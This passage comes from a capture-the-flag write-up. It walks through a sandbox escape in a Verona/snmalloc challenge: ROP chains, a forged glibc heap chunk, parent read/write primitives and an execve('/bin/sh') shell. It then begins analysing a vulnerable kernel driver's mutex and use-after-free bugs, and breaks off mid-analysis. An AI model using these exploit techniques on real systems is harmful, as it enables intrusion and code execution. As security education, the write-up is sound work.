0x00007fff807ffef8│+0x00f0: 0x0000000280000208
0x00007fff807fff00│+0x00f8: 0x00007fff807fffe0 _ 0x00007fffffffece0 _ 0x0000000000000001
0x00007fff807fff08│+0x0100: 0x0000555555583e19 _ <(anonymous namespace)::runloop(int)+015b> mov rax, QWORD PTR [rip+0x35338]
The important pointer is at offset +0x100
, of $rsp+0xf8
. This resumes execution in the child’s runloop()
function. We can find its source in library_runner.cc
as usual:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[...]
try
{
if ((buf != nullptr) && (sandbox_invoke != nullptr))
sandbox_invoke(idx, buf);
}
catch (...)
{
// FIXME: Report error in some useful way.
SANDBOX_INVARIANT(0, "Uncaught exception");
}
new_depth = shared->token.callback_depth;
// Wake up the parent if it's expecting a wakeup for this callback depth.
// The `callback` function has a wake but not a wait because it is using
// the `wait` in this function, we need to ensure that we don't unbalance
// the wakes and waits.
if (new_depth == callback_depth)
{
shared->token.is_child_executing = false;
shared->token.parent.wake();
}
} while (new_depth == callback_depth);
}
After a successful invocation of the call, the function updates the call stack depth and wakes the parent, completing the call interaction. We can avoid the parent throwing an error by ensuring that we complete execution of this function, properly closing the interaction loop. Since it is at a large offset from $rsp
, we will have plenty of space to craft a ROP chain before returning. We should also load the saved RBP so that the program can continue execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
edit_note_ret_addr = heap_leak - 0x7fff80014000 + 0x00007fff807ffe08
rop = ROP([child_libc])
# TODO: craft a ROP chain
payload = rop.chain()
RET = 0x00133beb + child_libc.address
POP_RBP_RET = 0x001bc00f + child_libc.address
# preserve call stack so that we can respond to the parent (otherwise we get "Sandboxed library terminated abnormally")
# RET sled
payload += (((0xf8 - len(payload)) // 0x8) - 1) * p64(RET)
# load the saved RBP and ret to runloop
payload += p64(POP_RBP_RET)
arb_write(edit_note_ret_addr, len(payload) + 8, payload, False)
Now, we can execute an arbitrary ROP chain in the child without causing either the parent or child to error out. We will discuss the ROP chain in the next section.
As mentioned at the start, this exploit only works on newer kernel versions. I had finished writing an exploit that worked locally when I realized that the behaviour seemed to differ with remote. This is because this attack relies on the read
and write
syscalls supporting extremely large sizes. The freelist pointer overlaps with size
, causing note[i]->size
to be very large. This size
is then used in the read
and write
syscalls. On my machine running a 6.8.x
kernel, this succeeds. Unfortunately, the remote is running a older kernel which implements the syscalls differently, causing the calls to EFAULT
.
Luckily, the alternative (intended) exploit path is arguably easier. As with most memory allocators, snmalloc
eventually re-allocates freed chunks to the user. Empirically, snmalloc
does not use a LIFO system for free chunks. Instead, we need to exhaust its initial free memory (recall the linked list we saw in the first allocation) before it allocates from user-freed chunks. From testing, this means that we first need to allocate around 256 chunks before snmalloc
uses our freed chunk. The exact number varies from local to remote but we can simply continue creating new notes until we detect an overlap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
new_note(0, 24, b"B")
leak = view_note(0)
heap_leak = u64(leak[:8]) // 0x100 * 0x100
log.info(f"shared heap leak: {hex(heap_leak)}") # 0x7fff80014000
delete_note(0)
new_note(1, 48, b"C")
delete_note(1)
# we now have 3 free sz 24 chunks
context.log_level = "info"
for i in range(0x400):
new_note(2, 24, b"D")
leak = view_note(2).strip()
if leak[8] == 0xc3: # printfn LSB
break
else:
assert False # gg
# note[2]->contents == note[0]
We create an 0x18
sized note and a larger note. Since the note
struct is itself 0x18
bytes large, deleting both notes will free three size 0x18
chunks. Then, we exhaust the existing free list by creating new notes in a loop. The vulnerable library’s new_note()
does not check whether a note already exists so we can simply create new notes in place without freeing them. Within the loop, we check whether our allocation has overlapped with one of the freed note
structs. We can detect this by viewing the note. If it overlaps, we will find the printfn
function pointer at offset 8.
This results in note[2]->contents
overlapping with note[0]
. This is a similar situation to the first attack method, which overlapped note[3]->contents
with note[2]
. From this point, we can employ the same techniques to obtain our arbitrary read and arbitrary write primitives, so the rest of the exploit remains the same.
To recap, we now have arbitrary code execution with the sandboxed library. Our next goal is to escape the sandbox and pwn the parent. As mentioned earlier, the sandbox’s threat model already assumes the attacker to have RCE within the sandboxed library and yet remains secure. Thus, the only way to break the security model and escape the sandbox is to exploit the new patches.
As discussed above, the patch to the AllocChunk
handler clearly violates the sandbox’s security model. The patch allows the child to set arbitrary metaentries in the pagemap. These are actually the exact metaentries that the Library
object ends up cleaning up in its destructor!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
case AllocChunk:
{
auto size = static_cast<size_t>(rpc.args[0]);
if (
(size < snmalloc::MIN_CHUNK_SIZE) ||
!snmalloc::bits::is_pow2(size))
{
reply.error = 3;
break;
}
auto meta =
reinterpret_cast<SharedAllocConfig::Backend::SlabMetadata*>(
rpc.args[1]);
auto ras = rpc.args[2];
SharedAllocConfig::Pagemap::Entry metaentry{meta, ras};
// if (!is_metaentry_valid(size, metaentry)) // [!] removed in patch
// {
// reply.error = 1;
// break;
// }
snmalloc::capptr::Arena<void> alloc;
{
auto [g, m] = s->get_memory();
alloc = m.alloc_range(size);
}
if (alloc == nullptr)
{
reply.error = 2;
break;
}
// metaentry.claim_for_sandbox(); // [!] removed in patch
SharedAllocConfig::Pagemap::set_metaentry(
address_cast(alloc), size, metaentry);
reply.ret = alloc.unsafe_uintptr();
break;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Library::~Library()
{
[...]
for (snmalloc::address_t a = base; a < top; a += snmalloc::MIN_CHUNK_SIZE)
{
auto& meta = SharedAllocConfig::Pagemap::get_metaentry_mut(a);
if (!meta.is_backend_owned())
{
auto* remote = meta.get_remote();
if ((remote != nullptr) &&
!contains(remote, sizeof(snmalloc::RemoteAllocator)))
{
delete meta.get_slab_metadata();
}
}
meta = empty;
}
[...]
}
By making an AllocChunk
request from the child with a specific meta
(the second parameter passed to the RPC call), the destructor will later delete
that exact pointer. This gives us an arbitrary delete
in the parent. This completely breaks the security model of the sandbox.
The vulnerable library helpfully contains two convenience functions that enable the child to easily send AllocChunk
and DeallocChunk
requests to the RPC thread in the parent. These functions remain unused in the library but we can call them from our ROP chain.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HostServiceResponse sendRequest(HostServiceRequest req)
{
auto written_bytes = write(PageMapUpdates, &req, sizeof(req));
HostServiceResponse response;
auto read_bytes = read(PageMapUpdates, &response, sizeof(response));
UNUSED(written_bytes);
UNUSED(read_bytes);
return response;
}
uintptr_t try_dealloc(const void* addr, size_t size)
{
HostServiceRequest req{
DeallocChunk,
{reinterpret_cast<uintptr_t>(addr), static_cast<uintptr_t>(size), 0, 0}};
return sendRequest(req).error;
}
HostServiceResponse try_alloc(size_t size, uintptr_t meta, uintptr_t ras)
{
return sendRequest({AllocChunk, {size, meta, ras}});
}
These exact function names are also used in one of the Verona sandbox’s tests,
sandboxlib-rpc-bounds.cc
. This test was introduced after the developers patched multiple vulnerabilities in the RPC thread (this thread contains theAllocChunk
andDeallocChunk
handlers discussed earlier). This is a hint that we will likely be exploiting the newly vulnerable handlers.
This payload achieves an arbitrary delete
on the specified delete_target
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
delete_target = 0xd00fd00f
edit_note_ret_addr = heap_leak - 0x7fff80010a00 + 0x00007fff807ffe08
rop = ROP([child_libc])
child_offset_try_alloc = 0xa7c1
rop.call(child.address + child_offset_try_alloc, [0x4000, delete_target, 0x4054])
payload = rop.chain()
RET = 0x00133beb + child_libc.address
POP_RBP_RET = 0x001bc00f + child_libc.address
# preserve call stack so that we can respond to the parent (otherwise we get "Sandboxed library terminated abnormally")
payload += (((0xf8 - len(payload)) // 0x8) - 1) * p64(RET) + p64(POP_RBP_RET)
arb_write(edit_note_ret_addr, len(payload) + 8, payload, False)
# Exit the child, triggering the destructor.
leave()
We can place a breakpoint in the parent as it calls the Library
destructor.
1
2
3
4
5
6
7
8
9
10
11
12
13
_ZdlPvmSt11align_val_t@plt (
$rdi = 0x00000000d00fd010,
$rsi = 0x0000000000000040,
$rdx = 0x0000000000000040
)
──────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chall", stopped 0x7ffff7f5dec3 in sandbox::Library::~Library() (), reason: BREAKPOINT
[#1] Id 2, Name: "chall", stopped 0x7ffff7b5be2e in epoll_wait (), reason: BREAKPOINT
────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7f5dec3 _ sandbox::Library::~Library()()
[#1] 0x403ca6 _ ChallSandbox::~ChallSandbox()()
[#2] 0x4037e4 _ sandboxed_session()()
[#3] 0x403833 _ main()
After compromising the sandbox’s security model, the last step of the exploit is to achieve RCE in the parent. This is straightforward with our arbitrary delete
primitive. By specifying a shared heap address as the delete
target, we can force the parent to add a shared heap chunk into its free chunk bins (note that the parent uses the standard glibc memory allocator, not snmalloc
). Further writes to this shared heap chunk from the child will then affect the parent’s behaviour.
While we have to destroy our sandbox instance in order to trigger the arbitrary delete
, the parent allows us to spin up a new child. The new child will have the shared heap mapped at the same address. We can use the arbitrary read/write primitives to manipulate the heap chunk in the parent.
The feedback
struct is an attractive target for this attack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct feedback {
char *ptr;
size_t size;
char content[460];
};
struct feedback *the_feedback = NULL;
bool get_feedback() {
if (the_feedback == NULL) {
if ((the_feedback = (struct feedback *)malloc(sizeof(struct feedback))) == NULL) {
printf("Out of memory.\n");
return false;
}
the_feedback->ptr = (char *)&the_feedback->content;
the_feedback->size = sizeof(the_feedback->content);
}
printf("Thank you for using this app!\n");
printf("Please provide your feedback: ");
read(0, the_feedback->ptr, the_feedback->size);
return true;
}
bool view_feedback() {
if (the_feedback == NULL) {
printf("No feedback.\n");
return false;
}
printf("Your feedback: ");
write(1, the_feedback->ptr, the_feedback->size);
return true;
}
We can force the parent to delete
a shared heap chunk that is the same size as the feedback
struct. Then, when the parent allocates the struct with malloc(sizeof(struct feedback))
in get_feedback()
, it will use the forged shared heap chunk as the feedback struct. From the child, we can use our primitives to overwrite the ptr
member in order to gain arbitrary read/write in the parent.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Forge a glibc heap chunk in the shared heap. This chunk must pass the typical delete checks.
target_area = heap_leak + 0x1000000 * 4
payload = p64(0) + p64(0x21) + b"A"*0x10
payload += p64(0) + p64(0x1e0 + 0x10 + 0x1) + b"A" * 0x50
payload += p64(0) + p64(0x21) #+ b"A" * 0x10
arb_write(target_area, len(payload) + 8, payload)
delete_target = target_area + 0x20 + 0x10
edit_note_ret_addr = heap_leak - 0x7fff80010a00 + 0x00007fff807ffe08
rop = ROP([child_libc])
child_offset_try_alloc = 0xa7c1
rop.call(child.address + child_offset_try_alloc, [0x4000, delete_target, 0x4054])
payload = rop.chain()
RET = 0x00133beb + child_libc.address
POP_RBP_RET = 0x001bc00f + child_libc.address
# preserve call stack so that we can respond to the parent (otherwise we get "Sandboxed library terminated abnormally")
payload += (((0xf8 - len(payload)) // 0x8) - 1) * p64(RET) + p64(POP_RBP_RET)
arb_write(edit_note_ret_addr, len(payload) + 8, payload, False)
leave()
# Restart
sla(b"Start a new ", b"1")
# Allocate the forge chunk from shared memory for parent's `struct Feedback`
get_feedback(b"Test")
[...] # Do the same thing to set up the r/w primitives in the child again
def parent_read(target: int, sz: int) -> bytes:
arb_write(delete_target, 0x10, p64(target) + p64(sz))
return view_feedback()
def parent_write(target: int, sz: int, contents: bytes):
arb_write(delete_target, 0x10, p64(target) + p64(sz))
return get_feedback(contents)
With read and write primitives in the parent, we can easily leak the stack and craft a ROP chain to ret2win.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
parent = ELF("/app/build/chall", checksec=False)
parent_libc_leak = u64(parent_read(parent.got["setvbuf"], 0x8).strip())
parent_libc = ELF("./libc.so.6", checksec=False)
parent_libc.address = parent_libc_leak - parent_libc.sym["setvbuf"]
log.info(f"Parent libc: {hex(parent_libc.address)}")
assert parent_libc.address % 0x1000 == 0
parent_stack_leak = u64(parent_read(parent_libc.sym["environ"], 0x8).strip())
log.info(hex(parent_stack_leak))
main_ret_addr = parent_stack_leak - 0x7fffffffee18 + 0x00007fffffffecf8
rop = ROP([parent_libc])
binsh = next(parent_libc.search(b"/bin/sh\x00"))
rop.execve(binsh, 0, 0)
payload = rop.chain()
parent_write(main_ret_addr, len(payload)+8, payload)
leave()
# exit
sla(b"Start a new ", b"2")
p.interactive()
Flag: TISC{35c4p3_fr0m_pr150n_r34lm}
I have a huge fondness for Pwn in novel environments; the only other challenge I wrote a write-up for this year was a Solana validator client written in C! In solving this challenge, I really enjoyed reading the
snmalloc
paper and the Verona sandbox design doc too. Such research projects are always interesting to learn about and I’ll definitely be following Verona’s development as it continues to mature.
The final level of TISC is a kernel pwn challenge. This is the most traditional challenge out of the past three levels and serves as a good introduction to kernel pwn. I won’t be covering the fundamentals of kernel pwn as there already exist many excellent resources teaching them, such as ptr-yudai’s Pawnyable and Midas’ kernel series.
As usual, we are provided with the kernel image bzImage
and the root filesystem initramfs.cpio.gz
. The author has provided a run/
folder containing the necessary files to boot the kernel locally and a serve/
folder containing the files used by the remote server. Helpfully, the vulnerable driver’s source is provided in src/server.c
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ ls -l --recursive dist
dist:
total 276
-rw-r--r-- 1 root root 258390 Jul 21 21:49 Kconfig
-rw-r--r-- 1 root root 280 Jul 21 21:49 README.md
-rw-r--r-- 1 root root 69 Jul 21 21:49 docker-compose.yml
drwxr-xr-x 2 root root 4096 Sep 8 23:35 run
drwxr-xr-x 2 root root 4096 Sep 8 23:35 serve
drwxr-xr-x 2 root root 4096 Sep 8 23:35 src
dist/run:
total 9760
-rw-r--r-- 1 root root 8889472 Jul 21 21:49 bzImage
-rw-r--r-- 1 root root 1097121 Sep 8 23:07 initramfs.cpio.gz
-rw-r--r-- 1 root root 241 Jul 21 21:49 run.sh
dist/serve:
total 13284
-rw-r--r-- 1 root root 479 Jul 21 21:49 Dockerfile
-rw-r--r-- 1 root root 8889472 Jul 21 21:49 bzImage
-rw-r--r-- 1 root root 1097121 Sep 8 23:07 initramfs.cpio.gz
-rw-r--r-- 1 root root 3593808 Jul 21 21:49 pow
-rw-r--r-- 1 root root 261 Jul 21 21:49 run.sh
-rw-r--r-- 1 root root 239 Jul 21 21:49 service.conf
-rw-r--r-- 1 root root 383 Jul 21 21:49 setup.py
dist/src:
total 36
-rw-r--r-- 1 root root 6170 Jul 21 21:49 art.h
-rw-r--r-- 1 root root 9946 Jul 21 21:49 client.c
-rw-r--r-- 1 root root 13163 Jul 21 21:49 server.c
From run.sh
, we find that the standard protections SMAP, SMEP, KPTI and KASLR are enabled.
1
2
3
4
5
6
7
8
9
10
qemu-system-x86_64 \
-m 1024M \
-kernel /home/ctf/bzImage \
-initrd /home/ctf/initramfs.cpio.gz \
-nographic \
-monitor none \
-no-reboot \
-cpu kvm64,+smep,+smap \
-smp 4 \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1"
The challenge driver is a game server. Players can interact with the server via ioctl
commands. There are various game mechanics, including viewing stats, buying/using items and fighting bosses. The objective of the game appears to be defeating the dragon.
The source code is almost 700 LOCs so I’ll explain it in parts, beginning with the skeleton of the driver. Upon loading the driver, krpg_init()
is triggered. This registers the game server device with misc_register()
and initializes global variables. The device’s open handler rpg_open()
makes use of mutex_lock()
/mutex_unlock()
and atomic_read()
to ensure that there is at most one active connection. The driver uses multiple mutexes, all defined at the top of the file. PLAYER_MUTEX
is locked for actions involving player attributes like health or equipped item; INVENTORY_MUTEX
is locked for actions that manipulate the player’s inventory, such as acquiring new items; MOB_MUTEX
is locked for actions that affect the enemy bosses, such as attacking them; ETC_MUTEX
is a miscellaneous mutex used for various actions, such as in rpg_open()
to prevent concurrent open()
s.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
[...] // includes
static DEFINE_MUTEX(PLAYER_MUTEX);
static DEFINE_MUTEX(INVENTORY_MUTEX);
static DEFINE_MUTEX(MOB_MUTEX);
static DEFINE_MUTEX(ETC_MUTEX);
[...] // helper functions
typedef struct
{
char name[0x10];
unsigned long size;
} feedback_header_t;
typedef struct
{
unsigned long health;
weapon_t *equipped;
unsigned long gold;
} player_t;
typedef struct
{
char name[0x10];
unsigned long health;
unsigned long max_health;
unsigned long attack;
} mob_t;
/*Global Variables*/
player_t player = {
.health = 10,
.equipped = NULL,
.gold = 0,
};
mob_t slime = {
.name = "SLIME",
.health = 5,
.max_health = 5,
.attack = 1,
};
mob_t wolf = {
.name = "WOLF",
.health = 30,
.max_health = 30,
.attack = 3,
};
mob_t dragon = {
.name = "DRAGON",
.health = 100,
.max_health = 100,
.attack = 50,
};
mob_t *mobs[3];
feedback_header_t *feedback;
int8_t cur_mob;
atomic_t clients_connected;
atomic_t in_battle;
atomic_t dragon_killed;
[...] // inventory functions
[...] // i/o functions
static int rpg_release(struct inode *inode, struct file *filp)
{
atomic_dec(&clients_connected);
return 0;
}
static int rpg_open(struct inode *inode, struct file *filp)
{
// Ensure that only one client is connected at a time!
mutex_lock(&ETC_MUTEX);
if (atomic_read(&clients_connected) > 0)
{
mutex_unlock(&ETC_MUTEX);
return -ENODEV;
}
atomic_inc(&clients_connected);
mutex_unlock(&ETC_MUTEX);
return 0;
}
/*Initialization and Cleanup Code*/
static struct file_operations module_fops = {
.owner = THIS_MODULE,
.open = rpg_open,
.unlocked_ioctl = rpg_ioctl,
.release = rpg_release,
};
static struct miscdevice misc_dev = {
.minor = MISC_DYNAMIC_MINOR,
.name = DEVICE_NAME,
.fops = &module_fops,
};
static int __init krpg_init(void)
{
if (misc_register(&misc_dev))
{
printk("[!] failed to register krpg device!");
return -EBUSY;
}
printk("[-] krpg device registered!");
cur_mob = 0;
atomic_set(&in_battle, 0);
atomic_set(&clients_connected, 0);
atomic_set(&dragon_killed, 0);
mobs[0] = &slime;
mobs[1] = &wolf;
mobs[2] = &dragon;
return 0;
}
static void __exit krpg_destroy(void)
{
misc_deregister(&misc_dev);
printk("[-] krpg device unregistered!");
}
module_init(krpg_init);
module_exit(krpg_destroy);
The driver uses the player_t
struct and the mob_t
struct to represent the player and the enemy bosses, or mobs, respectively. While the slime and wolf mobs can be easily defeated, the dragon has an extremely high health and damage stat and cannot be defeated normally.
The device uses rpg_ioctl()
to handle ioctl
requests. We will revisit some of the interesting commands later.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
static long rpg_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
int i;
switch (cmd)
{
case QUERY_PLAYER_STATS:
copy_to((void *)arg, (void *)&player, sizeof(player_t));
break;
case QUERY_WEAPON_STATS:
if (player.equipped != NULL)
{
copy_to((void *)arg, (void *)player.equipped, sizeof(weapon_t));
return 0;
}
else
{
return 1;
}
case QUERY_MOB_STATS:
mutex_lock(&MOB_MUTEX);
mutex_lock(&ETC_MUTEX);
if (!get_battle_status())
return 1;
if (cur_mob < 3)
{
copy_to((void *)arg, (void *)mobs[cur_mob], sizeof(mob_t));
}
else
{
cur_mob = 0;
mobs[0]->health = 5;
copy_to((void *)arg, (void *)mobs[0], sizeof(mob_t));
}
mutex_unlock(&ETC_MUTEX);
mutex_unlock(&MOB_MUTEX);
break;
case VISIT_SHOP:
if (get_battle_status())
return 1;
return visit_shop(arg);
case LIST_INVENTORY:
return list_inventory_items((void *__user)arg);
case MINE_GOLD:
if (!get_battle_status())
return mine_gold();
break;
case QUERY_BATTLE_STATUS:
return get_battle_status();
case START_BATTLE:
if (get_battle_status())
{
return -1;
}
set_battle_status(1);
return 0;
case ATTACK:
if (get_battle_status())
return attack_boss();
break;
case HEAL:
return use_health_potion();
case RUN:
set_battle_status(0);
break;
case USE_ITEM:
return use_item(arg);
case REMOVE_ITEM:
return remove_item(arg);
case CREEPER_EXPLODED:
died();
break;
case FEEDBACK:
return get_feedback((char *__user)arg);
case RESET:
mutex_lock(&ETC_MUTEX);
mutex_lock(&MOB_MUTEX);
i = atomic_read(&dragon_killed);
if (i)
{
// only the dragon killer is worthy of revisiting his previous opponents.
cur_mob -= 1;
slime.health = 5;
wolf.health = 30;
dragon.health = 100;
}
mutex_unlock(&ETC_MUTEX);
mutex_unlock(&MOB_MUTEX);
return 0;
default:
return -1;
break;
}
return 0;
}
The game also has an inventory system which uses the linux kernel’s implementation of linked lists. inventory
is initialized with LIST_HEAD()
, which is a linked list of inventoryEntry_t
structs. Each entry stores metadata in a inventoryHeader_t *header
and references the inventory item itself in void *item
. This item can be a weapon (weapon_t
) or a potion (potion_t
). There is only a single type of either item – a rusty sword or a potion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*Items, Inventory System*/
LIST_HEAD(inventory);
// ITEM TYPES
#define WEAPON 1
#define CONSUM 2
// UUIDS
#define RUSTY_SWORD 0x1337
#define POTION 0x1338
typedef struct
{
uint16_t UUID;
uint8_t itemType;
uint8_t refCount;
} inventoryHeader_t;
typedef struct
{
struct list_head next;
inventoryHeader_t *header; // metadata
void *item; // the item itself. weapon_t | potion_t
} inventoryEntry_t;
typedef struct
{
char name[0x18];
unsigned long attack;
} weapon_t;
typedef struct
{
char name[0x20];
unsigned long heal;
} potion_t;
Next, let’s move on to the implementations of the ioctl
handlers. We can purchase items to add to our inventory using the VISIT_SHOP
command. This calls visit_shop()
, which calls add_item()
to add the inventory item to the inventory list. If the item is already in the player’s inventory, add_item()
increments its reference count refCount
to a limit of 255
. If the item is not in the player’s inventory, it calls populate_item()
to create a new inventory entry for it. None of these functions have any vulnerabilities.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
inventoryEntry_t *populate_item(uint16_t UUID)
{
inventoryHeader_t *header = kzalloc(sizeof(inventoryHeader_t), GFP_ATOMIC);
inventoryEntry_t *entry = kzalloc(sizeof(inventoryEntry_t), GFP_ATOMIC);
entry->header = header;
header->UUID = UUID;
header->refCount = 1;
switch (UUID)
{
case RUSTY_SWORD:
weapon_t *rustySword = kzalloc(sizeof(weapon_t), GFP_ATOMIC);
entry->item = rustySword;
rustySword->attack = 1;
header->itemType = WEAPON;
strcpy((char *)&(rustySword->name), "Rusty Sword");
break;
case POTION:
potion_t *potion = kzalloc(sizeof(potion_t), GFP_ATOMIC);
entry->item = potion;
potion->heal = 1;
header->itemType = CONSUM;
strcpy((char *)&(potion->name), "Health Potion");
break;
default:
panic("Error has occurred! Exiting!");
}
return entry;
}
// Add item to inventory. Either new entry, or increments refcount
int add_item(uint16_t UUID)
{
inventoryEntry_t *item;
struct list_head *ptr;
mutex_lock(&INVENTORY_MUTEX);
list_for_each(ptr, &inventory)
{
item = list_entry(ptr, inventoryEntry_t, next);
if (item->header->UUID == UUID)
{
if (item->header->refCount < 255)
{
printk("[*] increment refcount for uuid %d!\n", UUID);
item->header->refCount += 1;
mutex_unlock(&INVENTORY_MUTEX);
return 0;
}
mutex_unlock(&INVENTORY_MUTEX);
return 2;
}
}
item = populate_item(UUID);
list_add(&(item->next), &inventory);
mutex_unlock(&INVENTORY_MUTEX);
return 0;
}
int visit_shop(unsigned int cmd)
{
switch (cmd)
{
case 1:
mutex_lock(&PLAYER_MUTEX);
if (player.gold < 1)
{
mutex_unlock(&PLAYER_MUTEX);
return 1;
}
player.gold -= 1;
mutex_unlock(&PLAYER_MUTEX);
return add_item(RUSTY_SWORD);
case 2:
mutex_lock(&PLAYER_MUTEX);
if (player.gold < 5)
{
mutex_unlock(&PLAYER_MUTEX);
return 1;
}
player.gold -= 5;
mutex_unlock(&PLAYER_MUTEX);
return add_item(POTION);
default:
return 0;
}
return 0;
}
The USE_ITEM
and HEAL
commands allow the player to interact with their items. The former calls use_item()
, which either equips a weapon or uses a health potion depending on its argument. The latter calls use_health_potion
, which heals the player back to 10
health. This also decrements the potion’s reference count refCount
and performs garbage collection with init_garbage_collection()
(shown in the next code snippet).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
static int use_health_potion(void)
{
inventoryEntry_t *item;
struct list_head *ptr;
list_for_each(ptr, &inventory)
{
item = list_entry(ptr, inventoryEntry_t, next);
if (item->header->UUID == POTION)
{
mutex_lock(&INVENTORY_MUTEX);
mutex_lock(&PLAYER_MUTEX);
item->header->refCount -= 1;
init_garbage_collection();
player.health = 10;
mutex_unlock(&INVENTORY_MUTEX);
mutex_unlock(&PLAYER_MUTEX);
return player.health;
}
}
mutex_unlock(&INVENTORY_MUTEX);
return 0;
}
static int equip_weapon(inventoryEntry_t *item)
{
mutex_lock(&PLAYER_MUTEX);
if (item->header->refCount > 0)
player.equipped = item->item;
mutex_unlock(&PLAYER_MUTEX);
return 0;
}
static int use_item(int UUID)
{
inventoryEntry_t *item;
struct list_head *ptr;
list_for_each(ptr, &inventory)
{
item = list_entry(ptr, inventoryEntry_t, next);
if (item->header->UUID == UUID)
{
if (item->header->itemType == WEAPON)
{
return equip_weapon(item);
}
else if (UUID == POTION)
{
if (use_health_potion())
return 0;
return 1;
}
}
}
return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void init_garbage_collection(void)
{
int done;
inventoryEntry_t *item;
struct list_head *ptr;
while (1)
{
done = 1;
ptr = NULL;
list_for_each(ptr, &inventory)
{
item = list_entry(ptr, inventoryEntry_t, next);
if (item->header->refCount <= 0)
{
kfree(item->item);
list_del(ptr);
done = 0;
break;
}
}
if (done)
{
break;
}
}
}
There is a major vulnerability in the use_health_potion()
function. It acquires the INVENTORY_MUTEX
if it finds a potion in the player’s inventory and releases it after performing garbage collection. This is a minor vulnerability as the mutex should be acquired before iterating through the inventory. However, the bigger issue is that the mutex is released at the end of the function without matching acquisition. We can exploit this to free INVENTORY_MUTEX
while other functions are holding it, entirely compromising the device’s ownership model.
A less obvious vulnerability is the potential UAF in equip_weapon()
. The function sets the player’s equipped item to the specified item, the rusty sword. However, there is no guarantee on the sword’s lifetime, nor does equipping the sword change its ownership. If we can decrease the sword’s reference count to zero, it will be freed by init_garbage_collection()
, leaving a dangling reference in player.equipped
while other game functions continue to access it.
1
2
3
4
5
6
7
8
9
static int attack_boss(void)
{
mutex_lock(&ETC_MUTEX);
mutex_lock(&PLAYER_MUTEX);
mutex_lock(&MOB_MUTEX);
if (player.equipped != NULL)
{
mobs[cur_mob]->health -= player.equipped->attack;
[...]
Another way of affecting items’ reference count is with the REMOVE_ITEM
command, which calls remove_item()
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static int remove_item(int UUID)
{
inventoryEntry_t *item;
struct list_head *ptr;
mutex_lock(&INVENTORY_MUTEX);
list_for_each(ptr, &inventory)
{
item = list_entry(ptr, inventoryEntry_t, next);
if (item->header->UUID == UUID)
{
if (item->header->refCount > 1)
{
item->header->refCount -= 1;
init_garbage_collection();
mutex_unlock(&INVENTORY_MUTEX);
return 0;
}
break;
}
}
mutex_unlock(&INVENTORY_MUTEX);
return 1;
}
However, this function only decreases the item’s reference count if it is greater than one. This means that we can reduce the sword’s reference count to a minimum of one using this function. This is not enough to trigger the UAF.
There are actually other minor bugs in the driver, mostly to do with the improper iteration of the inventory linked list. However, exploiting bugs only produces a kernel panic.
It is also worth noting that the FEEDBACK
and RESET
commands are gated behind defeating the dragon, with the latter providing an array OOB access. Clearly, we need to find a way to defeat the dragon and abuse these two commands. Under normal circumstances, the player will die to the dragon in a single turn as the rusty sword only does a single point of damage. If we can trigger the UAF on the weapon item (weapon_t
), we can possibly overwrite its attack
property with a large value, allowing us to defeat the dragon.
1
2
3
4
5
typedef struct
{
char name[0x18];
unsigned long attack;
} weapon_t;
In order to trigger the UAF, we need to free the weapon_t
, which only happens in init_garbage_collection()
. That function requires the item’s reference count to zero, which cannot be achieved with remove_item()
alone. However, recall that the vulnerability in use_health_potion()
allows us to freely unlock the INVENTORY_MUTEX
. We can exploit this in order to cause concurrent modification to the reference count. It is difficult to trigger a TOCTOU race in remove_item()
as there are no opportunities for context switches between the check and the use.
1
2
3
4
5
[...]
if (item->header->refCount > 1)
{
item->header->refCount -= 1;
[...]
Instead, we will target add_item()
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
